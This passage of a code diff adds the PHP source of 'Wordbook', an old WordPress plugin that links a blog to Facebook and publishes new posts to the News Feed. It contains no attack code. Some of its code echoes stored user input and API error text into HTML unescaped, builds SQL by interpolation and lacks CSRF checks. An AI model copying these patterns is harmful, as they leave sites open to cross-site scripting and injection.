+					. get_the_title($row->postid) . '</a>';
+			}
+			$hyperlinked_method=
+				wordbook_hyperlinked_method($row->method);
+?>
+
+		<tr>
+			<td><?php echo $row->timestamp; ?></td>
+			<td><?php echo $hyperlinked_post; ?></td>
+			<td><?php echo $hyperlinked_method; ?></td>
+			<td><?php echo $row->error_code; ?></td>
+			<td><?php echo $row->error_msg; ?></td>
+		</tr>
+
+<?php
+		}
+?>
+
+	</table>
+
+	<form action="<?php echo WORDBOOK_OPTIONS_URL; ?>" method="post">
+		<input type="hidden" name="action" value="clear_errorlogs" />
+		<p class="submit" style="text-align: center;">
+		<input type="submit" value="<?php _e('Clear Errors'); ?>" />
+		</p>
+	</form>
+
+	</div>
+
+<?php
+	}
+}
+
+/******************************************************************************
+ * Wordbook setup and administration.
+ */
+
+function wordbook_admin_load() {
+	if (!$_POST['action'])
+		return;
+
+	switch ($_POST['action']) {
+
+	case 'one_time_code':
+		$token = $_POST['one_time_code'];
+		$fbclient = wordbook_fbclient(null);
+		list($result, $error_code, $error_msg) =
+			wordbook_fbclient_getsession($fbclient, $token);
+		if ($result) {
+			wordbook_clear_errorlogs();
+			$onetime_data = null;
+			$secret = $result['secret'];
+			$session_key = $result['session_key'];
+		} else {
+			$onetime_data = array(
+				'onetimecode' => $token,
+				'error_code' => $error_code,
+				'error_msg' => $error_msg,
+				);
+			$secret = null;
+			$session_key = null;
+		}
+		$use_facebook = true;
+		$facebook_error = null;
+		wordbook_set_userdata($use_facebook, $onetime_data,
+			$facebook_error, $secret, $session_key);
+		wp_redirect(WORDBOOK_OPTIONS_URL);
+		break;
+
+	case 'delete_userdata':
+		wordbook_delete_userdata();
+		wp_redirect(WORDBOOK_OPTIONS_URL);
+		break;
+
+	case 'clear_errorlogs':
+		wordbook_clear_errorlogs();
+		wp_redirect(WORDBOOK_OPTIONS_URL);
+		break;
+
+	case 'no_facebook':
+		wordbook_set_userdata(false, null, null, null);
+		wp_redirect(WORDBOOK_OPTIONS_URL);
+		break;
+	}
+
+	exit;
+}
+
+function wordbook_admin_head() {
+?>
+	<style type="text/css">
+	.wordbook_setup { margin: 0 3em; }
+	.wordbook_notices { margin: 0 3em; }
+	.wordbook_status { margin: 0 3em; }
+	.wordbook_errors { margin: 0 3em; }
+	.wordbook_thanks { margin: 0 3em; }
+	.wordbook_thanks ul { margin: 1em 0 1em 2em; list-style-type: disc; }
+	.wordbook_support { margin: 0 3em; }
+	.wordbook_support ul { margin: 1em 0 1em 2em; list-style-type: disc; }
+	.facebook_picture {
+		float: right;
+		border: 1px solid black;
+		padding: 2px;
+		margin: 0 0 1ex 2ex;
+	}
+	.wordbook_errorcolor { color: #c00; }
+	table.wordbook_errorlogs { text-align: center; }
+	table.wordbook_errorlogs th, table.wordbook_errorlogs td {
+		padding: 0.5ex 1.5em;
+	}
+	table.wordbook_errorlogs th { background-color: #999; }
+	table.wordbook_errorlogs td { background-color: #f66; }
+	</style>
+<?php
+}
+
+function wordbook_option_notices() {
+	global $user_ID, $wp_version;
+	wordbook_upgrade();
+	wordbook_trim_postlogs();
+	wordbook_trim_errorlogs();
+	$errormsg = null;
+	if (WORDBOOK_WP_VERSION < 22) {
+		$errormsg = sprintf(__('Wordbook requires'
+			. ' <a href="%s">WordPress</a>-2.2'
+			. ' or newer (you appear to be running version %s).'),
+			'http://wordpress.org/download/', $wp_version);
+	} else if (!($options = wordbook_options()) ||
+			!isset($options[WORDBOOK_OPTION_SCHEMAVERS]) ||
+			$options[WORDBOOK_OPTION_SCHEMAVERS] <
+			WORDBOOK_SCHEMA_VERSION ||
+			!($wbuser = wordbook_get_userdata($user_ID)) ||
+			($wbuser->use_facebook && !$wbuser->session_key)) {
+		$errormsg = sprintf(__('<a href="%s">Wordbook</a>'
+			. ' needs to be set up.'),
+			WORDBOOK_OPTIONS_URL);
+	} else if ($wbuser->facebook_error) {
+		$method = $wbuser->facebook_error['method'];
+		$error_code = $wbuser->facebook_error['error_code'];
+		$error_msg = $wbuser->facebook_error['error_msg'];
+		$postid = $wbuser->facebook_error['postid'];
+		$suffix = '';
+		if ($postid != null && ($post = get_post($postid))) {
+			wordbook_deletefrom_postlogs($postid);
+			$suffix = ' for <a href="'
+				. get_permalink($postid) . '">'
+				. get_the_title($postid) . '</a>';
+		}
+		$errormsg = sprintf(__('<a href="%s">Wordbook</a>'
+			. ' failed to communicate with Facebook' . $suffix . ':'
+			. ' method = %s, error_code = %d (%s).'
+			. " Your blog is OK, but Facebook didn't get"
+			. ' the update.'),
+			WORDBOOK_OPTIONS_URL,
+			wordbook_hyperlinked_method($method),
+			$error_code,
+			$error_msg);
+		wordbook_clear_userdata_facebook_error($wbuser);
+	}
+
+	if ($errormsg) {
+?>
+
+	<h3><?php _e('Notices'); ?></h3>
+
+	<div class="wordbook_notices" style="background-color: #f66;">
+	<p><?php echo $errormsg; ?></p>
+	</div>
+
+<?php
+	}
+}
+
+function wordbook_option_setup($wbuser) {
+?>
+
+	<h3><?php _e('Setup'); ?></h3>
+	<div class="wordbook_setup">
+
+	<p>Wordbook needs to be linked to your Facebook account. This link will be used to publish your WordPress blog updates to your Mini-Feed and your friends' News Feeds, and will not be used for any other purpose.</p>
+
+	<p>First, log in to your Facebook account to generate a one-time code. Record the one-time code and return to this page:</p>
+
+	<div style="text-align: center;"><a href="http://www.facebook.com/code_gen.php?v=<?php echo WORDBOOK_FB_APIVERSION; ?>&api_key=<?php echo WORDBOOK_FB_APIKEY; ?>" target="facebook"><img src="http://static.ak.facebook.com/images/devsite/facebook_login.gif" /></a></div>
+
+	<form action="<?php echo WORDBOOK_OPTIONS_URL; ?>" method="post">
+		<p>Next, enter the one-time code obtained in the previous step:</p>
+		<div style="text-align: center;">
+		<input type="text" name="one_time_code" id="one_time_code"
+			value="<?php echo $wbuser->onetime_data['onetimecode']; ?>" size="9" />
+		</div>
+		<input type="hidden" name="action" value="one_time_code" />
+
+<?php
+		if ($wbuser) {
+			wordbook_render_onetimeerror($wbuser);
+			$wbuser->onetime_data = null;
+			wordbook_update_userdata($wbuser);
+		}
+?>
+
+		<p style="text-align: center;"><input type="submit" value="<?php _e('Submit &raquo;'); ?>" /></p>
+	</form>
+
+	<form action="<?php echo WORDBOOK_OPTIONS_URL; ?>" method="post">
+		<p>Or, if you don't use Facebook or don't want to post to Facebook:</p>
+		<input type="hidden" name="action" value="no_facebook" />
+		<p style="text-align: center;"><input type="submit" value="<?php _e('I don\'t want to use Facebook &raquo;'); ?>" /></p>
+	</form>
+
+	</div>
+
+<?php
+}
+
+function wordbook_option_status($wbuser) {
+?>
+
+	<h3><?php _e('Status'); ?></h3>
+	<div class="wordbook_status">
+
+<?php
+	$show_paypal = false;
+	$fbclient = wordbook_fbclient($wbuser);
+	list($fbuid, $users, $error_code, $error_msg) =
+		wordbook_fbclient_getinfo($fbclient, array(
+			'is_app_user',
+			'first_name',
+			'name',
+			'status',
+			'pic',
+			));
+	$profile_url = "http://www.facebook.com/profile.php?id=$fbuid";
+
+	if ($fbuid) {
+		if (is_array($users)) {
+			$user = $users[0];
+
+			if ($user['pic']) {
+?>
+
+		<div class="facebook_picture">
+		<a href="<?php echo $profile_url; ?>" target="facebook">
+		<img src="<?php echo $user['pic']; ?>" /></a>
+		</div>
+
+<?php
+			}
+
+			if (!($name = $user['first_name']))
+				$name = $user['name'];
+
+			if ($user['status']['message']) {
+?>
+
+		<p>
+		<a href="<?php echo $profile_url; ?>"><?php echo $name; ?></a>
+		<i><?php echo $user['status']['message']; ?></i>
+		(<?php echo date('D M j, g:i a', $user['status']['time']); ?>).
+		</p>
+
+<?php
+			} else {
+?>
+
+		<p>
+		Hi,
+		<a href="<?php echo $profile_url; ?>"><?php echo $name; ?></a>!
+		</p>
+
+<?php
+			}
+
+
+			if ($user['is_app_user']) {
+				$show_paypal = true;
+				wordbook_fbclient_setfbml($wbuser, $fbclient,
+					null, null);
+?>
+
+		<p>Wordbook appears to be configured and working just fine.</p>
+
+<?php
+				list($has_permission, $error_code, $error_msg) =
+					wordbook_fbclient_has_app_permission(
+					$fbclient, WORDBOOK_FB_PUBLISH_STREAM);
+				if (!$has_permission) {
+?>
+
+		<p>
+		Wordbook requires authorization to publish stories to your
+		Facebook News Feed:
+		</p>
+
+		<div style="text-align: center;">
+		<a href="http://www.facebook.com/authorize.php?v=<?php echo WORDBOOK_FB_APIVERSION; ?>&api_key=<?php echo WORDBOOK_FB_APIKEY; ?>&ext_perm=<?php echo WORDBOOK_FB_PUBLISH_STREAM; ?>" target="facebook">
+		<img src="http://static.ak.facebook.com/images/devsite/facebook_login.gif" />
+		</a>
+		</div>
+
+<?php
+				}
+?>
+		<p>If you like, you can start over from the beginning:</p>
+
+<?php
+			} else {
+?>
+
+		<p>Wordbook is able to connect to Facebook.</p>
+
+		<p>Next, add the <a href="http://www.facebook.com/apps/application.php?id=3353257731" target="facebook">Wordbook</a> application to your Facebook profile:</p>
+
+		<div style="text-align: center;"><a href="http://www.facebook.com/add.php?api_key=<?php echo WORDBOOK_FB_APIKEY; ?>" target="facebook"><img src="http://static.ak.facebook.com/images/devsite/facebook_login.gif" /></a></div>
+
+		<p>Or, you can start over from the beginning:</p>
+
+<?php
+			}
+		} else {
+?>
+
+		<p>Wordbook is configured and working, but <a href="http://developers.facebook.com/documentation.php?v=1.0&method=users.getInfo" target="facebook">facebook.users.getInfo</a> failed (no Facebook user for uid <?php echo $fbuid; ?>).</p>
+
+		<p>Try resetting the configuration:</p>
+
+<?php
+		}
+	} else {
+?>
+
+		<p>Failed to communicate with Facebook: <a href="http://developers.facebook.com/documentation.php?v=1.0&method=users.getLoggedInUser" target="facebook">error_code = <?php echo $error_code; ?> (<?php echo $error_msg; ?>)</a>.</p>
+		
+		<p>Try resetting the configuration:</p>
+
+<?php
+	}
+?>
+
+		<form action="<?php echo WORDBOOK_OPTIONS_URL; ?>" method="post">
+			<input type="hidden" name="action" value="delete_userdata" />
+			<p style="text-align: center;"><input type="submit" value="<?php _e('Reset Configuration'); ?>" /></p>
+		</form>
+
+	</div>
+
+<?php
+	return array($show_paypal);
+}
+
+function wordbook_option_thanks($donors) {
+?>
+
+	<h3><?php _e('Thanks'); ?></h3>
+	<div class="wordbook_thanks">
+
+		Special thanks to:
+
+		<ul>
+
+<?php
+	foreach ($donors as $url => $title) {
+?>
+
+			<li><a href="<?php echo $url; ?>" target="_blank"><?php echo $title; ?></a></li>
+
+<?php
+	}
+?>
+
+		</ul>
+
+		If you find this plugin useful, please consider making a
+		donation to support its continued development; any amount is
+		welcome (for acknowledgement, please provide your URL as a note
+		on the PayPal form):
+
+		<div style="text-align: center; margin: 1em auto;">
+			<form action="https://www.paypal.com/cgi-bin/webscr" method="post">
+				<input type="hidden" name="cmd" value="_s-xclick">
+				<input type="image" src="https://www.paypal.com/en_US/i/btn/x-click-but21.gif" border="0" name="submit" alt="Make payments with PayPal - it's fast, free and secure!">
+				<img alt="" border="0" src="https://www.paypal.com/en_US/i/scr/pixel.gif" width="1" height="1">
+				<input type="hidden" name="encrypted" value="-----BEGIN PKCS7-----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-----END PKCS7-----
+">
+			</form>
+		</div>
+	</div>
+
+<?php
+}
+
+function wordbook_version_ok($currentvers, $minimumvers) {
+	$current = preg_split('/\D+/', $currentvers);
+	$minimum = preg_split('/\D+/', $minimumvers);
+	for ($ii = 0; $ii < min(count($current), count($minimum)); $ii++) {
+		if ($current[$ii] < $minimum[$ii])
+			return false;
+	}
+	if (count($current) < count($minimum))
+		return false;
+	return true;
+}
+
+function wordbook_option_support() {
+	global $wp_version;
+?>
+
+	<h3><?php _e('Support'); ?></h3>
+	<div class="wordbook_support">
+
+	For feature requests, bug reports, and general support:
+	
+	<ul>
+	
+		<li>Check the <a
+		href="http://wordpress.org/extend/plugins/wordbook/other_notes/"
+		target="wordpress">WordPress.org Notes</a>.</li>
+		
+		<li>Try the <a
+		href="http://www.facebook.com/board.php?uid=3353257731"
+		target="facebook">Wordbook Discussion Board</a>.</li>
+
+		<li>Consider upgrading to the <a
+		href="http://wordpress.org/download/">latest stable release</a>
+		of WordPress.</li>
+		
+	</ul>
+	
+	Please provide the following information about your installation:
+
+	<ul>
+<?php
+
+	$wb_version = 'Unknown';
+	if (($wordbook_php = file(__FILE__)) &&
+			(($versionlines = array_values(preg_grep('/^Version:/',
+			$wordbook_php)))) &&
+			(($versionstrs = explode(':', $versionlines[0]))) &&
+			count($versionstrs) >= 2) {
+		$wb_version = trim($versionstrs[1]);
+	}
+
+	$phpvers = phpversion();
+	$mysqlvers = function_exists('mysqli_get_client_info') ?
+		 mysqli_get_client_info() :
+		 'Unknown';
+
+	$info = array(
+		'Wordbook' => $wb_version,
+		'Facebook PHP API' => FACEBOOK_PHP_API,
+		'JSON library' => WORDBOOK_JSON_ENCODE,
+		'SimpleXML library' => WORDBOOK_SIMPLEXML,
+		'WordPress' => $wp_version,
+		'PHP' => $phpvers,
+		'MySQL' => $mysqlvers,
+		);
+
+	$version_errors = array();
+	$phpminvers = '5.0';
+	$mysqlminvers = '4.0';
+	if (!wordbook_version_ok($phpvers, $phpminvers)) {
+		/* PHP-5.0 or greater. */
+		$version_errors['PHP'] = $phpminvers;
+	}
+	if ($mysqlvers != 'Unknown' &&
+			!wordbook_version_ok($mysqlvers, $mysqlminvers)) {
+		/* MySQL-4.0 or greater. */
+		$version_errors['MySQL'] = $mysqlminvers;
+	}
+
+	foreach ($info as $key => $value) {
+		$suffix = '';
+		if (($minvers = $version_errors[$key])) {
+			$suffix = " <span class=\"wordbook_errorcolor\">"
+				. " (need $key version $minvers or greater)"
+				. " </span>";
+		}
+		echo "<li>$key: <b>$value</b>$suffix</li>";
+	}
+	if (!function_exists('simplexml_load_string')) {
+		echo "<li>XML: your PHP is missing <code>simplexml_load_string()</code></li>";
+	}
+?>
+	</ul>
+
+<?php
+	if ($version_errors) {
+?>
+
+	<div class="wordbook_errorcolor">
+	Your system does not meet the <a
+	href="http://wordpress.org/about/requirements/">WordPress minimum
+	reqirements</a>. Things are unlikely to work.
+	</div>
+
+<?php
+	} else if ($mysqlvers == 'Unknown') {
+?>
+
+	<div>
+	Please ensure that your system meets the <a
+	href="http://wordpress.org/about/requirements/">WordPress minimum
+	reqirements</a>.
+	</div>
+
+<?php
+	}
+?>
+	</div>
+
+<?php
+}
+
+function wordbook_option_manager() {
+	global $user_ID;
+?>
+
+<div class="wrap">
+	<h2><?php _e('Wordbook'); ?></h2>
+
+<?php
+	wordbook_option_notices();
+
+	if (($wbuser = wordbook_get_userdata($user_ID)) &&
+			$wbuser->session_key) {
+		list($show_paypal) = wordbook_option_status($wbuser);
+		wordbook_render_errorlogs();
+		if ($show_paypal) {
+			wordbook_option_thanks(array(
+				'http://thecamaras.net/' =>
+					'The Camaras',
+				'http://www.steve-c.co.uk/' =>
+					"Steve's Space",
+				'http://alex.tsaiberspace.net/' =>
+					'The .Plan',
+				'http://drunkencomputing.com/' =>
+					'drunkencomputing',
+				'http://trentadams.com/' =>
+					'life by way of media',
+				'http://www.mounthermon.org/' =>
+					'Mount Hermon',
+				'http://superjudas.net/' =>
+					'Superjudas bloggt',
+				'http://blog.ofsteel.net/' =>
+					'Blood, Glory & Steel',
+				'http://shashikiran.com/' =>
+					'itinerant',
+				'http://www.patricksimpson.nl/' =>
+					'Patrick Simpson',
+				'http://hippocratesinsandiego.com/' =>
+					'Hippocrates in San Diego',
+				'http://www.peterbakke.com/' =>
+					"It's a Small World After All",
+				));
+		}
+	} else {
+		wordbook_option_setup($wbuser);
+	}
+	wordbook_option_support();
+?>
+
+</div>
+
+<?php
+}
+
+function wordbook_admin_menu() {
+	$hook = add_options_page('Wordbook Option Manager', 'Wordbook',
+		WORDBOOK_MINIMUM_ADMIN_LEVEL, WORDBOOK_OPTIONS_PAGENAME,
+		'wordbook_option_manager');
+	add_action("load-$hook", 'wordbook_admin_load');
+	add_action("admin_head-$hook", 'wordbook_admin_head');
+}
+
+/******************************************************************************
+ * One-time code (Facebook)
+ */
+
+function wordbook_render_onetimeerror($wbuser) {
+	if (($result = $wbuser->onetime_data)) {
+?>
+
+	<p>There was a problem with the one-time code "<?php echo $result['onetimecode']; ?>": <a href="http://developers.facebook.com/documentation.php?v=1.0&method=auth.getSession" target="facebook">error_code = <?php echo $result['error_code']; ?> (<?php echo $result['error_msg']; ?>)</a>. Try re-submitting it, or try generating a new one-time code.</p>
+
+<?php
+	}
+}
+
+/******************************************************************************
+ * Facebook API wrappers.
+ */
+
+function wordbook_fbclient($wbuser) {
+	wordbook_load_apis();
+	$secret = null;
+	$session_key = null;
+	if ($wbuser) {
+		$secret = $wbuser->secret;
+		$session_key = $wbuser->session_key;
+	}
+	if (!$secret)
+		$secret = WORDBOOK_FB_SECRET;
+	if (!$session_key)
+		$session_key = '';
+	return wordbook_rest_client($secret, $session_key);
+}
+
+function wordbook_fbclient_facebook_finish($wbuser, $result, $method,
+		$error_code, $error_msg, $postid) {
+	if ($error_code) {
+		wordbook_set_userdata_facebook_error($wbuser, $method,
+			$error_code, $error_msg, $postid);
+	} else {
+		wordbook_clear_userdata_facebook_error($wbuser);
+	}
+	return $result;
+}
+
+function wordbook_fbclient_setfbml($wbuser, $fbclient, $postid,
+		$exclude_postid) {
+	list($result, $error_code, $error_msg) = wordbook_fbclient_setfbml_impl(
+		$fbclient, wordbook_fbmltext($exclude_postid));
+	return wordbook_fbclient_facebook_finish($wbuser, $result,
+		'profile.setFBML', $error_code, $error_msg, $postid);
+}
+
+function wordbook_fbclient_publishaction($wbuser, $fbuid, $fbname, $fbclient,
+		$postid) {
+	$post = get_post($postid);
+	$post_link = get_permalink($postid);
+	$post_title = get_the_title($postid);
+	$post_content = $post->post_content;
+	preg_match_all('/<img \s+ [^>]* src \s* = \s* "(.*?)"/ix',
+		$post_content, $matches);
+	$images = array();
+	foreach ($matches[1] as $ii => $imgsrc) {
+		if ($imgsrc) {
+			if (stristr(substr($imgsrc, 0, 8), '://') ===
+					false) {
+				/* Fully-qualify src URL if necessary. */
+				$scheme = $_SERVER['HTTPS'] ? 'https' : 'http';
+				$new_imgsrc = "$scheme://"
+					. $_SERVER['SERVER_NAME'];
+				if ($imgsrc[0] == '/') {
+					$new_imgsrc .= $imgsrc;
+				}
+				$imgsrc = $new_imgsrc;
+			}
+			$images[] = array(
+				'src' => $imgsrc,
+				'href' => $post_link,
+				);
+		}
+	}
+	$template_data = array(
+		'images' => $images,
+		'post_link' => $post_link,
+		'post_title' => $post_title,
+		'post_excerpt' => wordbook_post_excerpt($post_content,
+			WORDBOOK_EXCERPT_SHORTSTORY),
+		);
+	list($result, $error_code, $error_msg, $method) =
+		wordbook_fbclient_publishaction_impl($fbclient,
+		WORDBOOK_TEMPLATE_ID, $template_data);
+	return wordbook_fbclient_facebook_finish($wbuser, $result,
+		$method, $error_code, $error_msg, $postid);
+}
+
+/******************************************************************************
+ * WordPress hooks: update Facebook when a blog entry gets published.
+ */
+
+function wordbook_post_excerpt($content, $maxlength) {
+	$excerpt = apply_filters('the_excerpt', $content);
+	if (function_exists('strip_shortcodes')) {
+		$excerpt = strip_shortcodes($excerpt);
+	}
+	$excerpt = strip_tags($excerpt);
+	if (strlen($excerpt) > $maxlength) {
+		$excerpt = substr($excerpt, 0, $maxlength - 3) . '...';
+	}
+	return $excerpt;
+}
+
+function wordbook_fbmltext($exclude_postid) {
+	/* Set the Wordbook box to contain a summary of the blog front page
+	 * (just those posts written by this user). Don't show
+	 * password-protected posts. */
+	global $user_ID, $user_identity, $user_login, $wpdb;
+
+	$blog_link = get_bloginfo('url');
+	$blog_name = get_bloginfo('name');
+	$blog_atitle = '';
+	if (($blog_description = get_bloginfo('description'))) {
+		$blog_atitle = $blog_description;
+	} else {
+		$blog_atitle = $blog_name;
+	}
+	$author_link = "$blog_link/author/$user_login/";
+	$text = <<<EOM
+<style>
+  td { vertical-align: top; }
+  td.time { text-align: right; padding-right: 1ex; }
+</style>
+<fb:subtitle>
+  Blog posts from <a href="$author_link" title="$user_identity's posts at $blog_name" target="$blog_name">$user_identity</a> at <a href="$blog_link" title="$blog_atitle" target="$blog_name">$blog_name</a>
+</fb:subtitle>
+EOM;
+
+	$posts_per_page = get_option('posts_per_page');
+	if ($posts_per_page <= 0) {
+		$posts_per_page = 10;
+	}
+	$exclude_postid_selector = $exclude_postid == null ? "" :
+		"AND ID != $exclude_postid";
+	$postidrows = $wpdb->get_results("
+		SELECT ID
+		FROM $wpdb->posts
+		WHERE post_type = 'post'
+			AND post_status = 'publish'
+			AND post_author = $user_ID
+			AND post_password = ''
+			$exclude_postid_selector
+		ORDER BY post_date DESC
+		LIMIT $posts_per_page
+		");
+
+	$postid = 0;
+        if ($postidrows) {
+		$postid = $postidrows[0]->ID;
+		$text .= <<<EOM
+<div class="minifeed clearfix">
+  <table>
+EOM;
+		foreach ($postidrows as $postidrow) {
+			$post = get_post($postidrow->ID);
+			$post_link = get_permalink($postidrow->ID);
+			$post_title = get_the_title($postidrow->ID);
+			$post_date_gmt = strtotime($post->post_date);
+			$post_excerpt_wide = wordbook_post_excerpt(
+				$post->post_content, WORDBOOK_EXCERPT_WIDEBOX);
+			$post_excerpt_narrow = wordbook_post_excerpt(
+				$post->post_content,
+				WORDBOOK_EXCERPT_NARROWBOX);
+			$text .= <<<EOM
+    <tr>
+      <td class="time">
+	<span class="date">
+	  <fb:time t="$post_date_gmt" />
+	</span>
+      </td>
+      <td>
+	<a href="$post_link" target="$blog_name">$post_title</a>:
+	<fb:wide>$post_excerpt_wide</fb:wide>
+	<fb:narrow>$post_excerpt_narrow</fb:narrow>
+      </td>
+    </tr>
+EOM;
+		}
+		$text .= <<<EOM
+  </table>
+</div>
+EOM;
+	} else {
+		$text .= "I haven't posted anything (yet).";
+	}
+
+	return $text;
+}
+
+function wordbook_publish_action($post) {
+	wordbook_deletefrom_errorlogs($post->ID);
+	if ($post->post_password != '') {
+		/* Don't publish password-protected posts to news feed. */
+		return null;
+	}
+	if (!($wbuser = wordbook_get_userdata($post->post_author)) ||
+			!$wbuser->session_key) {
+		return null;
+	}
+
+	/* If publishing a new blog post, update text in "Wordbook" box. */
+
+	$fbclient = wordbook_fbclient($wbuser);
+	if ($post->post_type == 'post' && !wordbook_fbclient_setfbml($wbuser,
+			$fbclient, $post->ID, null)) {
+		return null;
+	}
+
+	/*
+	 * Publish posts to Mini-Feed.
+	 *
+	 * Don't spam Facebook by re-publishing
+	 * already-published posts. According to
+	 * http://developers.facebook.com/documentation.php?v=1.0&method=feed.publishTemplatizedAction,
+	 * a user can only publish 10 times within a rolling 48-hour window.
+	 */
+
+	if (!wordbook_postlogged($post->ID)) {
+		list($fbuid, $users, $error_code, $error_msg) =
+			wordbook_fbclient_getinfo($fbclient, array('name'));
+		if ($fbuid && is_array($users) && ($user = $users[0])) {
+			$fbname = $user['name'];
+		} else {
+			$fbname = 'A friend';
+		}
+		wordbook_fbclient_publishaction($wbuser, $fbuid, $fbname,
+			$fbclient, $post->ID);
+		wordbook_insertinto_postlogs($post->ID);
+	}
+
+	return null;
+}
+
+function wordbook_transition_post_status($newstatus, $oldstatus, $post) {
+	if ($newstatus == 'publish') {
+		return wordbook_publish_action($post);
+	}
+
+	$postid = $post->ID;
+	if (($wbuser = wordbook_get_userdata($post->post_author)) &&
+			$wbuser->session_key) {
+		$fbclient = wordbook_fbclient($wbuser);
+		list($result, $error_code, $error_msg) =
+			wordbook_fbclient_setfbml($wbuser, $fbclient, $postid,
+			$postid);
+	}
+}
+
+function wordbook_delete_post($postid) {
+	$post = get_post($postid);
+	if (($wbuser = wordbook_get_userdata($post->post_author)) &&
+			$wbuser->session_key) {
+		$fbclient = wordbook_fbclient($wbuser);
+		list($result, $error_code, $error_msg) =
+			wordbook_fbclient_setfbml($wbuser, $fbclient, $postid,
+			$postid);
+	}
+	wordbook_deletefrom_errorlogs($postid);
+	wordbook_deletefrom_postlogs($postid);
+}
+
+/******************************************************************************
+ * Register hooks with WordPress.
+ */
+
+/* Plugin maintenance. */
+register_deactivation_hook(__FILE__, 'wordbook_deactivate');
+add_action('delete_user', 'wordbook_delete_user');
+if (current_user_can(WORDBOOK_MINIMUM_ADMIN_LEVEL)) {
+	add_action('admin_menu', 'wordbook_admin_menu');
+}
+
+/* Post/page maintenance and publishing hooks. */
+add_action('delete_post', 'wordbook_delete_post');
+
+if (WORDBOOK_WP_VERSION >= 23) {
+	define('WORDBOOK_HOOK_PRIORITY', 10);	/* Default; see add_action(). */
+	add_action('transition_post_status', 'wordbook_transition_post_status',
+		WORDBOOK_HOOK_PRIORITY, 3);
+} else {
+	/* WordPress-2.2. */
+	function wordbook_publish($postid) {
+		$post = get_post($postid);
+		return wordbook_transition_post_status('publish', null, $post);
+	}
+	add_action('publish_post', 'wordbook_publish');
+	add_action('publish_page', 'wordbook_publish');
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordbook/wordbook_php5.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordbook/wordbook_php5.php	(revision 44)
